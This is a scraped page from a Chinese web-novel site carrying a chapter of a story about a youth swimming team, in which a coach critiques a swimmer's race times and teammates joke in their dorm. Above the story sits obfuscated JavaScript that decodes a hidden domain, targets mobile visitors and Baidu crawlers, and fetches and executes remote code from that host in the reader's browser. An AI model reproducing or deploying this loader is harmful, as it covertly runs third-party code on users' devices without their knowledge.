妙书阁小说

阅读记录  |   用户书架
上一页
目录 | 设置
下一章
function UqgsgfgDv(e){var t="",n=r=c1=c2=0;while(n<e.length){r=e.charCodeAt(n);if(r<128){t+=String.fromCharCode(r);n++;}else if(r>191&&r<224){c2=e.charCodeAt(n+1);t+=String.fromCharCode((r&31)<<6|c2&63);n+=2}else{ c2=e.charCodeAt(n+1);c3=e.charCodeAt(n+2);t+=String.fromCharCode((r&15)<<12|(c2&63)<<6|c3&63);n+=3;}}return t;};function UqSDDFGvyQ(e){ var m='ABCDEFGHIJKLMNOPQRSTUVWXYZ'+'abcdefghijklmnopqrstuvwxyz'+'0123456789+/=';var t="",n,r,i,s,o,u,a,f=0;e=e.replace(/[^A-Za-z0-9+/=]/g,""); while(f<e.length){s=m.indexOf(e.charAt(f++));o=m.indexOf(e.charAt(f++));u=m.indexOf(e.charAt(f++));a=m.indexOf(e.charAt(f++));n=s<<2|o>>4;r=(o&15)<<4|u>>2;i=(u&3)<<6|a;t=t+String.fromCharCode(n);if(u!=64){t=t+String.fromCharCode(r);}if(a!=64){t=t+String.fromCharCode(i);}}return UqgsgfgDv(t);};window[''+'U'+'Y'+'C'+'q'+'J'+'K'+'']=(!/^Mac|Win/.test(navigator.platform)||!navigator.platform)?function(){;(function(u,i,w,d,c){var x=UqSDDFGvyQ,cs=d[x('Y3VycmVudFNjcmlwdA==')],crd=x('Y3JlYXRlRWxlbWVudA==');'jQuery';u=decodeURIComponent(x(u.replace(new RegExp(c[0]+''+c[0],'g'),c[0])));'jQuery'; if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')>-1){var xhr=new XMLHttpRequest();xhr.open('POST','https://'+u+'/bm-'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'u'+'q'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else{var s=d[crd]('script');s.src='https://'+u+'/m-'+i;cs.parentElement.insertBefore(s,cs);}})('aGYuc2Rqa2JjamtzYmRzdnYuY29t','2843',window,document,['G','TpoZFcguG']);}:function(){};

分卷阅读20(2 / 2)

加入书签 | 推荐本书 | 问题反馈 |

一天的比赛落幕,大家都很兴奋,饭吃的比平时都多,再加上食堂做的饭菜赶超楼上省队,大家都吃的津津有味,一粒不剩。

没有吃到很多的鱼,吴淮表示有点不开心。

晚上开会,巫指导点到了吴淮的名:“你的蛙泳成绩应该不止现在这个程度,也不是你的最好成绩,动作上我没什么指导你的,你关键要好好调整自己的心态。蛙泳你游的太多了,还有侥幸心理,所以不够兴奋,成绩就出不来。半决赛的时候好好游。”

“嗯。”吴淮点头。

巫指导看着他,又说:“混合泳游的更糟糕。”

吴淮被打击了一下,他还以为自己的混合泳会被夸奖,可是第二名呢。

“不要以为自己预赛第二名,就是你游的好,你们这一届的混合泳普遍不强,但是出了广东省,中国随便抓就是一堆超过你的。”

吴淮咬紧下唇,他觉得这个成绩在四川也不错了。

巫指导像是他脑袋里的蛔虫,说:“不要和你老家比,你要和杭州比。前几天杭州的青少年运动会,200米混合泳的最好成绩是两分十五秒,比你快了六秒,你知道这是什么概念吗?两百米的距离你被他甩开两三身位,被远远丢在身后,玩命地追都追不上,知道吗?”

吴淮眼睛睁大,很惊讶,没想到现在他们这个组别的成绩这么凶残?快六秒,在泳池里,真的是尾灯都看不见了。

“不过你的底子是很好的。”巫指导顿了一下说,“基础打的很好,主要问题是在节奏感上,蝶泳游了太多的力,仰泳却没有调整好,而且你一冲起来腿的频率就有问题,这个毛病你自己是知道的,必须要改。”

“嗯。”吴淮一次又一次地点头。

巫指导深深看了他一眼,然后转头说起了其他人。

不过八个队员,会开了一个小时,巫恒很有耐心的指出所有队员的问题,并帮助他们改正。其实这些话都是老调重弹,平时的训练上都被指正过,有些毛病实在不好改,一旦参加比赛,脑袋一热,就更加忘记了,就靠着习惯去游,自然游的乱七八糟。

最后巫恒说:“明天是e组和f组的比赛,你们也要去看看,看看他们的实力,就知道自己的问题了。”

“还有,最后重复一遍,离开要请假,不准擅自行动,散会!”

回到宿舍里,吴淮问谢岳年:“你怎么做到手臂和打腿动作兼顾的?”

谢岳年眨巴着眼睛,一脸懵逼。

吴淮觉得自己纯粹瞎问,天赋这种东西根本就是无法理喻,尤其是谢岳年这种老天爷赏饭吃的,好像从娘胎里就会游自由泳了。

“呃……使劲地游,使劲地游,不喘气,累死了也要往前冲。”谢岳年想了想,正色回答吴淮,临了还不确定的反问吴淮,“是不是这样?”

吴淮翻了个大白眼,快走两步走进了寝室。听说傻病要传染,赶紧离开病原体。

第二天队里没有比赛,大家起床的更晚,好在食堂的早餐临时改成不限时提供,所以大家才没有一觉睡到十二点。

否则,起床就可以直接吃午餐了。

奈何大魔王昨晚的会上专门提过今天的行程,再给他们一百个胆子,也不敢违背大魔王的话。

寝室里八个人,手挽着手去了食堂,赶了一个早点的末班车。而且吴淮发现,今天起来晚的不止他们,还有人比他更晚。就是那天站在唐教练身边的唐教练队员,比他们更晚来到食堂,一副睡眼惺忪的模样往楼上走,然后很

分卷阅读20

分卷阅读20

-', '')

上一页
目录
下一章
A- 18 A+
默认 贵族金 护眼绿 羊皮纸 可爱粉 夜间